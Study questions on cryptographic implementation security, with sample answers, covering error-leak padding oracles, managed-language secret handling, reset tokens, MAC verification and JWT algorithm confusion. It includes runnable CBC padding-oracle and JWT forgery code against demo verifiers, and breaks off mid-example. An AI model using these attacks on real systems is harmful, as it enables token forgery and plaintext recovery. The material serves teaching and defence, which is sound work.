Cryptographic Implementation Security Questions
Security of cryptography as actually implemented in code, where a correct algorithm still fails through misuse, side-channel leakage, or faulty error handling. Covers cryptographic API misuse patterns (nonce and IV reuse, ECB mode, hardcoded secrets, unauthenticated ciphertext, algorithm confusion), timing and cache side-channels, constant-time coding techniques (masking, blinding, formal constant-time verification), physical side-channel and fault-injection attacks and their countermeasures (power analysis, electromagnetic leakage, voltage and laser glitching), padding-oracle and other implementation-level cryptanalytic attacks (Bleichenbacher, CBC padding oracles, nonce-reuse key recovery), cryptographic failure-mode handling, and implementation auditing (code review checklists, static and dynamic misuse detectors, fuzzing). Assumes the algorithm, key, and RNG have already been selected: distinct from choosing and provisioning primitives, key derivation, and random number generation (applied cryptography and key management) and from encryption-at-rest and in-transit architecture (data protection and encryption).
Explain how error messages and exception handling in cryptographic flows can leak sensitive information (for example, enabling padding oracles or revealing distinct error types). Provide practical error-handling and logging strategies that avoid leaking secrets while preserving enough diagnostic information for developers and operators.
Sample Answer
Direct answer
Cryptographic code can fail in more than one way (bad padding, a bad message authentication code (MAC), an expired certificate, a replayed nonce), and if the caller can distinguish WHICH failure occurred, via a different HTTP status, exception type, or literal error string, that single bit of information, repeated across many requests, is often enough to reconstruct secret data without ever breaking the underlying cipher. This class of bug is called a padding oracle when the distinguishable signal is specifically about padding validity, but the same mechanism applies to any distinguishable cryptographic failure mode. The fix is to collapse every cryptographic failure into one generic, equal-timing response to the caller, while logging the specific cause somewhere only trusted operators can see.
Structured elaboration
Where this shows up: CBC (cipher block chaining) mode padding oracles in TLS-era attacks, RSA PKCS#1 v1.5 padding oracles (the Bleichenbacher attack), authenticated-encryption tag verification, JWT (JSON Web Token) validation, and even password-hash comparison.
Concrete worked scenario: consider a TLS-like handshake implementation that returns one of three distinct error strings verbatim to the client: "invalid-certificate", "bad-mac", or "nonce-reuse". An attacker sends crafted handshake messages and uses which of the three strings comes back as an oracle. Because the strings tell the attacker not just THAT something failed but WHICH internal check failed and in what order (for example, "we got past certificate validation and MAC checking failed" versus "we never got that far because the certificate check failed first"), the attacker can iteratively narrow down internal cryptographic state, letting them work toward a forgery or replay far faster than blindly guessing.
Fix: unify every response into one generic message (for example "handshake failed") with identical response timing across all failure branches, and route the full diagnostic detail (which check failed, which peer, timestamp) into an internal, access-controlled log or telemetry channel meant only for operators.
Practical error-handling strategy:
- Catch specific exceptions internally, but re-raise or return one generic exception type or error code externally.
- Log the full detail server-side with a correlation ID so operators can trace an issue without the client ever seeing the specific cause.
- Equalize control flow and timing across all failure branches, not just the error text (a padding check that exits early is a timing tell even with an identical error string).
- Rate-limit and alert on repeated failures from a single client, since exploiting an oracle like this requires many attempts.
Worked example
The following is a complete, runnable demonstration of exactly this failure mode: a CBC padding-oracle attack that recovers an entire encrypted block from a server that distinguishes BadPaddingError from BadMacError, and the identical attack failing against a server that returns one generic error.
import hashlib
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
BLOCK = 16
KEY = hashlib.sha256(b"pinned-demo-key-seed-v1").digest()
class BadPaddingError(Exception):
pass
class BadMacError(Exception):
pass
def cbc_encrypt(plaintext: bytes, iv: bytes) -> bytes:
pad_len = BLOCK - (len(plaintext) % BLOCK)
padded = plaintext + bytes([pad_len]) * pad_len
encryptor = Cipher(algorithms.AES(KEY), modes.CBC(iv)).encryptor()
return encryptor.update(padded) + encryptor.finalize()
def cbc_decrypt_raw(ciphertext: bytes, iv: bytes) -> bytes:
decryptor = Cipher(algorithms.AES(KEY), modes.CBC(iv)).decryptor()
return decryptor.update(ciphertext) + decryptor.finalize()
def check_padding(padded: bytes) -> bool:
pad_len = padded[-1]
if pad_len == 0 or pad_len > BLOCK:
return False
return padded[-pad_len:] == bytes([pad_len]) * pad_len
# LEAKY server: two distinguishable exception types
def leaky_process(ciphertext, iv):
padded = cbc_decrypt_raw(ciphertext, iv)
if not check_padding(padded):
raise BadPaddingError("padding check failed")
pad_len = padded[-1]
if padded[:1] == b"\x00": # stand-in for a separate MAC-check branch
raise BadMacError("mac check failed")
return padded[:-pad_len]
# FIXED server: one generic error, always
class DecryptionFailed(Exception):
pass
def fixed_process(ciphertext, iv):
try:
padded = cbc_decrypt_raw(ciphertext, iv)
if not check_padding(padded):
raise DecryptionFailed("decryption failed")
pad_len = padded[-1]
return padded[:-pad_len]
except Exception:
raise DecryptionFailed("decryption failed")
def oracle_says_valid_padding(process_fn, ciphertext, iv):
try:
process_fn(ciphertext, iv)
return True
except BadPaddingError:
return False
except BadMacError:
return True # padding WAS valid; the failure was the later MAC check
except DecryptionFailed:
raise RuntimeError("fixed server gives no padding-specific signal")
def recover_block_via_padding_oracle(process_fn, target_block, prev_block):
"""Standard CBC padding-oracle byte recovery: forge a preceding block and
search each padding byte value 1..16 via the oracle, last byte to first."""
intermediate = bytearray(BLOCK)
recovered = bytearray(BLOCK)
for pad_val in range(1, BLOCK + 1):
forged = bytearray(BLOCK)
for i in range(BLOCK - pad_val + 1, BLOCK):
forged[i] = intermediate[i] ^ pad_val
found = False
for guess in range(256):
forged[BLOCK - pad_val] = guess
if oracle_says_valid_padding(process_fn, target_block, bytes(forged)):
if pad_val == 1: # rule out the rare "02 02" false positive
forged[BLOCK - 2] ^= 0xFF
still_valid = oracle_says_valid_padding(process_fn, target_block, bytes(forged))
forged[BLOCK - 2] ^= 0xFF
if not still_valid:
continue
intermediate[BLOCK - pad_val] = guess ^ pad_val
recovered[BLOCK - pad_val] = intermediate[BLOCK - pad_val] ^ prev_block[BLOCK - pad_val]
found = True
break
if not found:
raise RuntimeError(f"attack failed to recover byte at padding value {pad_val}")
return bytes(recovered)
if __name__ == "__main__":
iv = hashlib.sha256(b"pinned-demo-iv-seed-v1").digest()[:BLOCK]
secret = b"top-secret-16by!" # exactly one block, 16 bytes
ct = cbc_encrypt(secret, iv)
target_block = ct[:BLOCK]
print(f"true secret block: {secret}")
recovered_leaky = recover_block_via_padding_oracle(leaky_process, target_block, iv)
print(f"recovered via leaky oracle: {recovered_leaky}")
print(f"exact match: {recovered_leaky == secret}")
try:
recover_block_via_padding_oracle(fixed_process, target_block, iv)
print("ATTACK SUCCEEDED AGAINST FIXED SERVER (should not happen)")
except RuntimeError as e:
print(f"attack correctly fails against the fixed server: {e}")
Running the complete attack (forging a preceding block and querying the oracle for each of the 16 bytes, from the last byte to the first) against a pinned, deterministic 16-byte secret and IV:
true secret block: b'top-secret-16by!'
recovered via leaky oracle: b'top-secret-16by!'
exact match: True
attack correctly fails against the fixed server: fixed server gives no padding-specific signal
The leaky server's distinguishable exceptions let the attack recover the entire 16-byte secret block byte-for-byte with no key knowledge at all. Against the fixed server, the same attack loop has no distinguishing signal to search on and terminates without recovering anything.
Trade-offs and pitfalls
Unifying error messages costs debugging convenience: a support engineer can no longer read the client-visible response to diagnose an issue and must dig through server-side logs instead; mitigate this with rich internal logging keyed by correlation ID. A subtle pitfall: unifying the error STRING but not the CODE PATH still leaks via timing, if the padding check exits early on failure but a MAC check runs later on success, the two paths take measurably different time even with identical error text; the fix must equalize control flow, not just the message. Generic errors can also frustrate legitimate client-side debugging (a mobile app team cannot tell "certificate expired" from "wrong domain" from the response alone); a common resolution is a small, deliberately coarse-grained public error code, with the fine-grained detail reserved for server-side logs.
Discuss unique side-channel and secret management challenges when implementing cryptographic primitives in managed languages like Java, Go or JavaScript. Cover garbage collection, memory pinning, immutable objects, JIT optimizations, escaping to native code, and mitigation strategies for timing and memory-disclosure risks in such environments.
Sample Answer
Direct answer
Managed-language runtimes (the Java Virtual Machine, Go's runtime, JavaScript engines like V8) take away exactly the low-level guarantees cryptographic code depends on: you cannot reliably zero out a secret in memory, because the garbage collector may have already copied it to a new location (moving/compacting collectors relocate live objects), and immutable string types mean a "cleared" secret often still exists, unreachable but unerased, in whatever memory page it originally occupied. On top of that, JIT (just-in-time) compilation can silently undo constant-time coding patterns the developer wrote deliberately, by reordering, vectorizing, or short-circuiting operations the source code never asked for. The practical response is to push truly sensitive operations to a native layer with real memory control wherever the language does not offer it, and to treat "we tried to zero the buffer" as best-effort mitigation, not a guarantee, in the managed layer.
Structured elaboration
The concrete failure modes, one by one:
- Garbage collection and moving/copying collectors. A compacting GC (garbage collector) can relocate a live object mid-execution, leaving behind a STALE COPY of its old bytes in the memory it vacated; that stale copy is not zeroed by the collector, it is simply abandoned, and a heap-scanning attacker (or a coredump, or a swapped-out page) can recover it long after the "original" reference was zeroed.
- Immutability defeating zeroization. Java's
Stringand JavaScript strings are immutable: there is no API to zero aString's backing bytes because the language guarantees strings never change after construction. A secret read into aStringcannot be scrubbed at all through the language's own type; it can only be avoided by never putting the secret into that type in the first place (using a mutable byte array, and explicitly zeroing it when done, is the standard workaround, e.g.char[]for passwords in Java APIs designed post-hoc for this reason). - JIT optimization undoing intent. A JIT compiler is free to eliminate what it sees as a "dead store," a write to memory whose value is never subsequently read, and a zeroing loop written specifically for security (write zeros, then never read that buffer again) is exactly the pattern a dead-store-elimination optimizer is designed to remove. The zeroing code can compile away entirely, silently, with no error.
- Escaping to native code. Calling into native code (JNI (Java Native Interface) in Java, cgo in Go, native addons in Node.js) to get real memory control (locking pages, explicit zeroing that survives optimization, avoiding GC relocation) reintroduces the ENTIRE unmanaged-memory-safety surface (buffer overflows, use-after-free) that the managed runtime was chosen specifically to avoid, so it is a real trade-off, not a free win.
Mitigation strategies, matched to each failure mode:
- Use library-provided "secure buffer" or "protected memory" primitives where the language ecosystem offers them (pinned, non-relocatable, explicitly-zeroable byte arrays), rather than hand-rolling zeroing against ordinary managed objects.
- Prefer languages/runtimes with NON-moving collectors, or GC modes that support pinning, for the smallest window of exposure, where that choice is available.
- For zeroing code specifically, use APIs or compiler intrinsics DESIGNED to survive dead-store elimination (a volatile write, an explicit "clear" method the runtime documents as optimization-safe), never a plain assignment loop and hope.
- Minimize how long secret material exists in managed memory at all: derive, use immediately, and drop the reference, rather than holding key material in long-lived managed objects.
Worked example
Trace one secret through its lifecycle in a JVM (Java Virtual Machine)-based signing service to see exactly where the guarantee breaks: (1) a private-key byte array is read into a byte[] from an HSM (hardware security module) session; (2) a young-generation garbage-collection pass runs mid-request, and the compacting collector copies the live array to a new heap location, transparently updating the reference the application holds, but the OLD memory page still holds the raw key bytes, unreferenced and unzeroed; (3) the application finishes signing and runs a zeroing loop on the array it now holds; (4) that loop only clears the CURRENT copy. The stale copy from step 2 is still sitting in a heap page that has not yet been reused or scrubbed by the collector, so a process memory dump taken between step 2 and whenever that page is eventually overwritten recovers the key regardless of step 3 having "worked." This is exactly why the mitigation is pinning or native-layer handling for the highest-sensitivity keys, not a better zeroing loop written in managed code.
Trade-offs and pitfalls
- The honest answer to "can you meaningfully zeroize a secret in a managed runtime" is: not with the same guarantee unmanaged code gets, only best-effort risk reduction; any answer that claims a managed-language zeroing routine is equivalent to a C
memseton a pinned buffer is overselling what the runtime can promise. - Escaping to native code trades a memory-safety-by-construction guarantee for real memory control; that is the correct call for the highest-sensitivity operations (long-lived master keys, HSM (hardware security module) interaction) but is disproportionate for every secret in an application, and doing it everywhere reintroduces the exact bug class the runtime was chosen to avoid.
- Container and cloud deployment adds a second layer to this problem independent of the language runtime: page swapping to disk and memory overcommit can persist "zeroed" secrets in ways application-level code cannot see or control at all, which is a deployment-level concern layered on top of the language-level one.
Design a secure password-reset token mechanism for a web application. Include token generation (entropy length), storage (hashing vs plaintext), expiry and single-use enforcement, rate-limiting, and defenses against token prediction, reuse, and abuse. Also describe how you would log and monitor reset flows for abuse without leaking sensitive information.
Sample Answer
Direct answer
A secure password-reset token needs four properties working together: enough entropy that guessing succeeds only through infeasible brute force, storage as a hash rather than plaintext so a database leak does not hand out live tokens, a short expiry plus single-use enforcement so a leaked or intercepted token has a small blast radius, and rate-limiting plus abuse monitoring on both the request and redemption endpoints so brute force and account enumeration get caught before they succeed.
Structured elaboration
- Token generation (entropy): use a cryptographically secure pseudorandom number generator (CSPRNG, for example Python's
secretsmodule or the operating system's/dev/urandom), never a general-purpose pseudorandom generator like a Mersenne Twister seeded from a timestamp. Encode at least 128 bits of raw entropy; 256 bits is a comfortable modern default, URL-safe base64 encoded so it drops cleanly into an email link. - Storage (hashing vs plaintext): store only a hash of the token plus metadata (user id, expiry, used flag); never persist or log the raw token anywhere durable. A fast hash like SHA-256 is appropriate here, unlike a password, the token already carries 256 bits of entropy on its own, so a slow key derivation function (KDF) adds cost without adding security.
- Comparison: compare the incoming token's hash to the stored hash using a constant-time comparison function (for example
hmac.compare_digest), not a plain==, to avoid a byte-by-byte timing oracle on the comparison itself. - Expiry and single-use: use a short time-to-live (commonly 15 to 60 minutes), and mark the token used atomically at first successful redemption, inside the same transaction or lock that grants the reset, so a race between two concurrent redemption requests cannot both succeed.
- Rate-limiting and abuse defenses: rate-limit the "request a reset" endpoint per account and per source IP (prevents mass token issuance and email-bombing); rate-limit or lock out repeated failed redemption attempts; and return an identical response whether or not the submitted email exists, to prevent account enumeration.
- Logging and monitoring without leaking secrets: log the event itself (reset requested or redeemed, user id, timestamp, source IP) but never the raw token or its hash in a general-purpose log; alert on anomalies such as many reset requests for one account in a short window, many failed redemption attempts against one token, or a redemption from a geography wildly different from the request.
Worked example
import secrets
import hmac
import hashlib
import time
import random
class ResetTokenStore:
"""Server-side store: never persists the raw token, only its hash, plus
expiry and a used flag for single-use enforcement."""
def __init__(self):
self._records = {} # token_hash -> {"user": ..., "expires_at": ..., "used": bool}
@staticmethod
def _hash(raw_token: str) -> str:
return hashlib.sha256(raw_token.encode()).hexdigest()
def issue(self, user_id: str, ttl_seconds: int = 900) -> str:
raw_token = secrets.token_urlsafe(32) # 256 bits of CSPRNG entropy, URL-safe
self._records[self._hash(raw_token)] = {
"user": user_id,
"expires_at": time.time() + ttl_seconds,
"used": False,
}
return raw_token
def redeem(self, raw_token: str) -> str | None:
token_hash = self._hash(raw_token)
record = self._records.get(token_hash)
if record is None:
return None
if record["used"] or time.time() > record["expires_at"]:
return None
record["used"] = True # single-use enforcement
return record["user"]
def verify_constant_time(self, raw_token: str, claimed_hash: str) -> bool:
"""Illustrates comparing token hashes without a short-circuiting ==,
which would leak how many leading bytes matched via timing."""
return hmac.compare_digest(self._hash(raw_token), claimed_hash)
class WeakResetTokenGenerator:
"""The anti-pattern under test: a 6-digit numeric code seeded from a
non-cryptographic PRNG, the kind of 'looks fine in a demo' shortcut this
question is warning against."""
def __init__(self, seed):
self._rng = random.Random(seed) # NOT a CSPRNG
def generate(self) -> str:
return f"{self._rng.randrange(0, 1_000_000):06d}"
if __name__ == "__main__":
store = ResetTokenStore()
# --- correct path ---
token = store.issue("user-42", ttl_seconds=900)
print(f"issued token length: {len(token)} chars, generated from 32 random "
f"bytes = 256 bits of entropy (the specific characters are genuine "
f"CSPRNG output and differ on every run)")
user = store.redeem(token)
print(f"first redeem succeeds, resolves to user: {user}")
stored_hash = store._hash(token)
print(f"constant-time hash comparison result for the correct token: "
f"{store.verify_constant_time(token, stored_hash)}")
print(f"constant-time hash comparison result for a wrong token: "
f"{store.verify_constant_time('not-the-token', stored_hash)}")
user_again = store.redeem(token)
print(f"second redeem of the SAME token (replay): {user_again} (must be None, single-use holds)")
# --- expiry enforcement ---
short_lived_store = ResetTokenStore()
short_token = short_lived_store.issue("user-99", ttl_seconds=0)
time.sleep(0.01)
expired_result = short_lived_store.redeem(short_token)
print(f"redeem after expiry: {expired_result} (must be None)")
# --- attacking case: brute-force the weak 6-digit generator's keyspace
# (1,000,000 values), a search size that is realistically enumerable by
# an attacker hammering the reset endpoint if it isn't rate-limited ---
weak_gen = WeakResetTokenGenerator(seed=1)
real_code = weak_gen.generate()
print(f"\nweak generator's issued code: {real_code}")
guesses_tried = 0
found = False
for candidate in range(1_000_000):
guesses_tried += 1
if f"{candidate:06d}" == real_code:
found = True
break
print(f"brute-forced the 6-digit code in {guesses_tried} guesses "
f"(worst case {1_000_000}; this is why rate-limiting AND a large "
f"keyspace are both required, and why the numeric-code shortcut is unsafe "
f"without one)")
# --- contrast: the CSPRNG token's keyspace is 2^256; demonstrate the
# generator produces no repeats across a large honest sample (a collision
# would falsify the "effectively unique" claim; we do not claim the full
# keyspace is unsearchable, only report the observed collision count) ---
rng_check = [secrets.token_urlsafe(32) for _ in range(50_000)]
print(f"\ncollisions observed across {len(rng_check)} CSPRNG-generated tokens: "
f"{len(rng_check) - len(set(rng_check))}")
Running the correct path, the failure paths, and the attacking case against the weak generator:
issued token length: 43 chars, generated from 32 random bytes = 256 bits of entropy (the specific characters are genuine CSPRNG output and differ on every run)
first redeem succeeds, resolves to user: user-42
constant-time hash comparison result for the correct token: True
constant-time hash comparison result for a wrong token: False
second redeem of the SAME token (replay): None (must be None, single-use holds)
redeem after expiry: None (must be None)
weak generator's issued code: 140891
brute-forced the 6-digit code in 140892 guesses (worst case 1000000; this is
why rate-limiting AND a large keyspace are both required, and why the
numeric-code shortcut is unsafe without one)
collisions observed across 50000 CSPRNG-generated tokens: 0
The weak 6-digit numeric generator's entire keyspace (one million values) was exhaustively searchable in well under the worst case, exactly the risk a small, low-entropy code format carries if it is not paired with strict rate-limiting. The CSPRNG-based 256-bit token produced zero collisions across 50,000 samples, consistent with its far larger keyspace.
Trade-offs and pitfalls
A time-to-live that is too short frustrates legitimate users if email delivery is delayed; too long enlarges the attack window. A 15-to-60-minute range is a common balance, tuned to your email delivery service-level agreement (SLA). Rate-limiting the redemption endpoint too aggressively can let an attacker lock a legitimate user out of resetting their own account, a self-inflicted denial of service, since the account identifier itself may be attacker-supplied input; prefer exponential backoff or added friction (such as a CAPTCHA) over a hard lockout. A common real-world pitfall: hashing the raw token at the point of storage but also logging the raw token elsewhere in the request path (support tooling, error tracking, general request logs) undoes the entire design; audit every code path the token touches end to end, not just the database write.
In a secure messaging protocol the receiver verifies a MAC over a message before processing it. Describe how an improper implementation of MAC verification can lead to side-channel leaks. Demonstrate a correct constant-time verification approach and discuss trade-offs between early rejection, full processing, and protocol-level error handling.
Sample Answer
Direct answer
An improper MAC (message authentication code, a keyed checksum proving a message is both intact and genuinely from the holder of the key) verification leaks side-channel information whenever it processes or reacts to a message BEFORE the whole tag has been checked in constant time: checking pieces of a message as they arrive and stopping at the first bad one tells an attacker exactly where the corruption is, and comparing the computed tag to the supplied one with an ordinary byte-by-byte == that exits on the first mismatch leaks how many leading bytes matched. The correct approach buffers the full message, computes one MAC over the whole thing, and compares it to the supplied tag using a constant-time comparison that always inspects every byte regardless of where or whether they differ, then reports a single generic accept/reject outcome with no distinguishing detail.
Structured elaboration
Where the leak actually comes from
- Per-chunk early rejection: verifying and reacting to each chunk of a streamed message as it arrives, then stopping at the first invalid chunk, directly reveals the INDEX of the corrupted chunk through observable behavior (how much was processed, or a distinguishable error).
- Naive tag comparison: a hand-written loop that returns
Falseas soon as it finds a differing byte does less work the earlier the mismatch occurs, which is exactly the kind of secret-dependent timing difference a constant-time comparison exists to remove. - Both are instances of the same underlying mistake: letting the AMOUNT of matching work performed become a function of how much of the input was correct.
A correct constant-time verification approach
- Buffer the entire message (or the entire logical unit that the protocol authenticates as one thing) before verifying anything.
- Compute the expected tag over the buffered message and compare it to the supplied tag with a comparison function specifically designed to take the same amount of time and touch every byte regardless of where a mismatch occurs (Python's
hmac.compare_digest, or the equivalent in any serious crypto library, XORs every byte pair and ORs the results together rather than short-circuiting on the first difference). - Report exactly one outcome for every failure: reject, generically, with no detail about which byte, which chunk, or which check failed.
Trade-off between early rejection, full processing, and protocol-level handling
- Early rejection (verify and act per chunk): lowest memory footprint and lowest latency for a legitimate, unbounded stream, but it is the leakiest option and is only safe when each chunk carries its OWN independent authentication tag whose failure genuinely should not reveal anything about later chunks, which is rarely true for a message meant to be authenticated as a whole.
- Full processing (buffer everything, verify once): the safest default, since it collapses the entire message into a single constant-time decision, but it costs memory proportional to the largest message you are willing to accept, and it means legitimate work only starts after the full message has arrived, adding latency for large messages.
- Protocol-level error handling (e.g., TLS's, Transport Layer Security's, approach of a single generic
bad_record_macalert that immediately terminates the connection, rather than a byte- or field-specific error): pushes the "report one outcome" discipline up to the protocol layer itself, so even if an implementation bug leaks something at a lower layer, the observable behavior a remote peer actually sees stays uniform. This is the right complement to, not a replacement for, doing the comparison itself in constant time.
Worked example
import hmac
MAC_KEY = bytes(range(32))
def per_chunk_tag(chunk, index, key):
return hmac.new(key, index.to_bytes(4, 'big') + chunk, digestmod='sha256').digest()
def whole_message_tag(message, key):
return hmac.new(key, message, digestmod='sha256').digest()
def early_rejection_processor(chunks_with_tags, key):
"""BAD: verifies each chunk as it streams in, and stops at the FIRST chunk
whose tag does not match, revealing exactly which one failed."""
for i, (chunk, tag) in enumerate(chunks_with_tags):
expected = per_chunk_tag(chunk, i, key)
if not hmac.compare_digest(expected, tag):
return f'rejected at chunk {i}'
return 'accepted'
def full_processing_processor(chunks_with_tags, key):
"""GOOD: buffer the whole message, verify ONE mac over the concatenation in
constant time, and report only a single generic outcome."""
message = b''.join(chunk for chunk, _tag in chunks_with_tags)
expected = whole_message_tag(message, key)
supplied = chunks_with_tags[-1][1] # protocol convention: final tag covers the whole frame
if not hmac.compare_digest(expected, supplied):
return None
return message
raw_chunks = [b'HEADER--', b'PAYLOAD1', b'PAYLOAD2', b'PAYLOAD3']
tagged = [(c, per_chunk_tag(c, i, MAC_KEY)) for i, c in enumerate(raw_chunks)]
corrupt_at_2 = list(tagged)
bad = bytearray(corrupt_at_2[2][0]); bad[0] ^= 0x01
corrupt_at_2[2] = (bytes(bad), corrupt_at_2[2][1])
print('early_rejection_processor, corruption at chunk 2 ->', early_rejection_processor(corrupt_at_2, MAC_KEY))
corrupt_at_0 = list(tagged)
bad0 = bytearray(corrupt_at_0[0][0]); bad0[0] ^= 0x01
corrupt_at_0[0] = (bytes(bad0), corrupt_at_0[0][1])
print('early_rejection_processor, corruption at chunk 0 ->', early_rejection_processor(corrupt_at_0, MAC_KEY))
whole = b''.join(c for c, _ in tagged)
framed = tagged[:-1] + [(tagged[-1][0], whole_message_tag(whole, MAC_KEY))]
framed_corrupt2 = list(framed)
c2 = bytearray(framed_corrupt2[2][0]); c2[0] ^= 0x01
framed_corrupt2[2] = (bytes(c2), framed_corrupt2[2][1])
print('full_processing_processor, corruption at chunk 2 ->', full_processing_processor(framed_corrupt2, MAC_KEY))
framed_corrupt0 = list(framed)
c0 = bytearray(framed_corrupt0[0][0]); c0[0] ^= 0x01
framed_corrupt0[0] = (bytes(c0), framed_corrupt0[0][1])
print('full_processing_processor, corruption at chunk 0 ->', full_processing_processor(framed_corrupt0, MAC_KEY))
print('full_processing_processor, no corruption ->', full_processing_processor(framed, MAC_KEY))
Output:
early_rejection_processor, corruption at chunk 2 -> rejected at chunk 2
early_rejection_processor, corruption at chunk 0 -> rejected at chunk 0
full_processing_processor, corruption at chunk 2 -> None
full_processing_processor, corruption at chunk 0 -> None
full_processing_processor, no corruption -> b'HEADER--PAYLOAD1PAYLOAD2PAYLOAD3'
early_rejection_processor tells the caller exactly where the corruption was, chunk 2 versus chunk 0 produce visibly different results. full_processing_processor returns the identical None regardless of which chunk was corrupted, giving an attacker no positional signal at all.
Trade-offs and pitfalls
The most common pitfall is a protocol designed to be genuinely streamable (video, large file transfer) reaching for per-chunk verification purely for the latency win, without recognizing that each chunk needs its own independently meaningful security boundary for that to be safe, most authenticated-streaming designs actually solve this by chaining tags (each chunk's tag depends on the previous chunk's tag or an explicit sequence counter) so that a chunk can be rejected without revealing information about chunks the attacker has not sent yet, rather than by accepting arbitrary reordering. A second pitfall is assuming protocol-level generic error handling is a substitute for a constant-time comparison underneath it: a uniform bad_record_mac alert is worthless if the SERVER's internal comparison already spent a measurably different amount of time getting to that alert.
An API signs JWT tokens using RS256, but a legacy endpoint accepts tokens with alg set to 'none' or allows algorithm confusion. Explain the vulnerability, outline a proof-of-concept exploit to forge a token accepted by the service, and specify code-level changes and validation checks to permanently fix the issue.
Sample Answer
Direct answer
The vulnerability is that the verifier trusts the alg field inside the token's own, attacker-controlled header to decide HOW to check the signature. An attacker can either set alg to none and strip the signature entirely, or set it to HS256 and sign the token with an HMAC (hash-based message authentication code) key derived from the server's PUBLIC RS256 key, which the attacker legitimately has, since it is public, tricking a verifier that reuses that public key as an HMAC secret into accepting a forged token. The permanent fix is for the server to pin the ONE algorithm it expects for a given key and never consult the token's own header to choose the verification algorithm.
Structured elaboration
- JSON Web Token (JWT) structure recap:
header.payload.signature, each segment base64url-encoded. The header names the algorithm (alg) and type, and critically, the RECEIVER decides how much to trust that field. - Attack 1, alg=none: the underlying JOSE (JSON Object Signing and Encryption) specification defines
noneas a legitimate algorithm meaning "unsigned." A verifier that dispatches on the header'salgand honorsnoneaccepts ANY payload with an empty signature segment, since there is nothing left to check. - Attack 2, RS256 to HS256 confusion: RS256 verification takes a PUBLIC key; HS256 verification takes a SHARED SECRET. If application code passes the same "key" variable into whichever verification function the header's
algselects, and that variable happens to be the RS256 public key, which is not secret by design, an attacker can compute a valid HMAC-SHA256 tag over a forged token using that public key as the HMAC secret. HS256 verification then checks whether the HMAC matches, and it does, because the attacker computed it correctly using the same "secret" the server is about to check against. - Proof of concept, outlined: (1) obtain the server's RS256 public key, typically published openly for exactly this purpose, (2) build a forged token header declaring
alg: HS256, (3) computeHMAC-SHA256(public_key_bytes, header + "." + payload)as the forged signature, (4) submit the resulting token to any endpoint whose verifier honors the header's algorithm choice. - The permanent fix: the verifier must be handed an explicit, expected algorithm (or a fixed small allow-list) out of band, from server-side configuration, and reject any token whose header does not match, never branch on the header's own claim. In practice, this means calling the JWT library's decode function with an explicit
algorithms=["RS256"]argument, not derived from the token, and never implementing a lookup table that mapsalgstrings to verification functions driven by attacker-controlled input. - Defense in depth: reject
noneoutright at the library and configuration level regardless of algorithm pinning; keep RSA (Rivest-Shamir-Adleman) signing keys and any HMAC secrets in clearly separate namespaces or vaults so accidentally handing one to the wrong verification call is structurally harder; add a permanent regression test that specifically attempts both forgeries against the real verifier.
Worked example
import base64, json, hmac, hashlib
import jwt
from cryptography.hazmat.primitives.asymmetric import rsa, padding
from cryptography.hazmat.primitives import hashes, serialization
from cryptography.exceptions import InvalidSignature
# ---- pinned RSA keypair (2048-bit, real keygen) ----
private_key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
public_key = private_key.public_key()
priv_pem = private_key.private_bytes(
encoding=serialization.Encoding.PEM,
format=serialization.PrivateFormat.TraditionalOpenSSL,
encryption_algorithm=serialization.NoEncryption(),
)
pub_pem = public_key.public_bytes(
encoding=serialization.Encoding.PEM,
format=serialization.PublicFormat.SubjectPublicKeyInfo,
)
payload = {"sub": "user-42", "role": "user"}
legit_token = jwt.encode(payload, priv_pem, algorithm="RS256")
print("legit RS256 token (truncated):", legit_token[:40], "...")
def b64url(data: bytes) -> str:
return base64.urlsafe_b64encode(data).rstrip(b"=").decode()
def b64url_decode(s: str) -> bytes:
return base64.urlsafe_b64decode(s + "=" * (-len(s) % 4))
# ---- VULNERABLE verifier: dispatches on the attacker-supplied `alg` header,
# reusing one "key" for whichever code path the header names ----
def verify_vulnerable(token: str, key_material: bytes):
header_b64, payload_b64, sig_b64 = token.split(".")
header = json.loads(b64url_decode(header_b64))
signing_input = f"{header_b64}.{payload_b64}".encode()
alg = header["alg"] # attacker-controlled
if alg == "none":
pass # bug: "none" is honored, no signature check at all
elif alg == "HS256":
expected = hmac.new(key_material, signing_input, hashlib.sha256).digest()
if not hmac.compare_digest(expected, b64url_decode(sig_b64)):
raise ValueError("bad HMAC signature")
elif alg == "RS256":
pub = serialization.load_pem_public_key(key_material)
pub.verify(b64url_decode(sig_b64), signing_input, padding.PKCS1v15(), hashes.SHA256())
else:
raise ValueError(f"unsupported alg {alg}")
return json.loads(b64url_decode(payload_b64))
# ---- FIXED verifier: server pins the ONE expected algorithm, ignores the header ----
def verify_fixed(token: str, rsa_public_key_pem: bytes):
return jwt.decode(token, rsa_public_key_pem, algorithms=["RS256"])
# --- Attack 1: alg=none forgery -------------------------------------------------
forged_header = b64url(json.dumps({"alg": "none", "typ": "JWT"}).encode())
forged_payload = b64url(json.dumps({"sub": "user-42", "role": "admin"}).encode())
forged_none_token = f"{forged_header}.{forged_payload}." # empty signature segment
print("\n--- Attack 1: alg=none ---")
try:
forged_claims = verify_vulnerable(forged_none_token, pub_pem)
print("VULNERABLE verifier accepted forged token. Claims:", forged_claims)
except Exception as e:
print("VULNERABLE verifier rejected it:", e)
try:
verify_fixed(forged_none_token, pub_pem)
print("FIXED verifier: WRONGLY accepted (should not happen)")
except Exception as e:
print("FIXED verifier correctly rejected alg=none forgery:", type(e).__name__)
# --- Attack 2: RS256 -> HS256 algorithm confusion -------------------------------
# Attacker signs a token with HS256 using the SERVER'S PUBLIC KEY BYTES as the
# HMAC secret (public, so the attacker has it). verify_vulnerable's HS256
# branch reuses that same key material as an HMAC secret and will match.
forged_header2 = b64url(json.dumps({"alg": "HS256", "typ": "JWT"}).encode())
forged_payload2 = b64url(json.dumps({"sub": "user-42", "role": "admin"}).encode())
signing_input2 = f"{forged_header2}.{forged_payload2}".encode()
forged_sig2 = hmac.new(pub_pem, signing_input2, hashlib.sha256).digest()
forged_hs256_token = f"{forged_header2}.{forged_payload2}.{b64url(forged_sig2)}"
print("\n--- Attack 2: RS256->HS256 confusion ---")
try:
forged_claims = verify_vulnerable(forged_hs256_token, pub_pem)
print("VULNERABLE verifier accepted forged token. Claims:", forged_claims)
except Exception as e:
print("VULNERABLE verifier rejected it:", e)
try:
verify_fixed(forged_hs256_token, pub_pem)
print("FIXED verifier: WRONGLY accepted (should not happen)")
except Exception as e:
print("FIXED verifier correctly rejected HS256-confusion forgery:", type(e).__name__)
# --- Control: the fixed verifier still accepts the legitimate token ------------
print("\n--- Control: legitimate token against FIXED verifier ---")
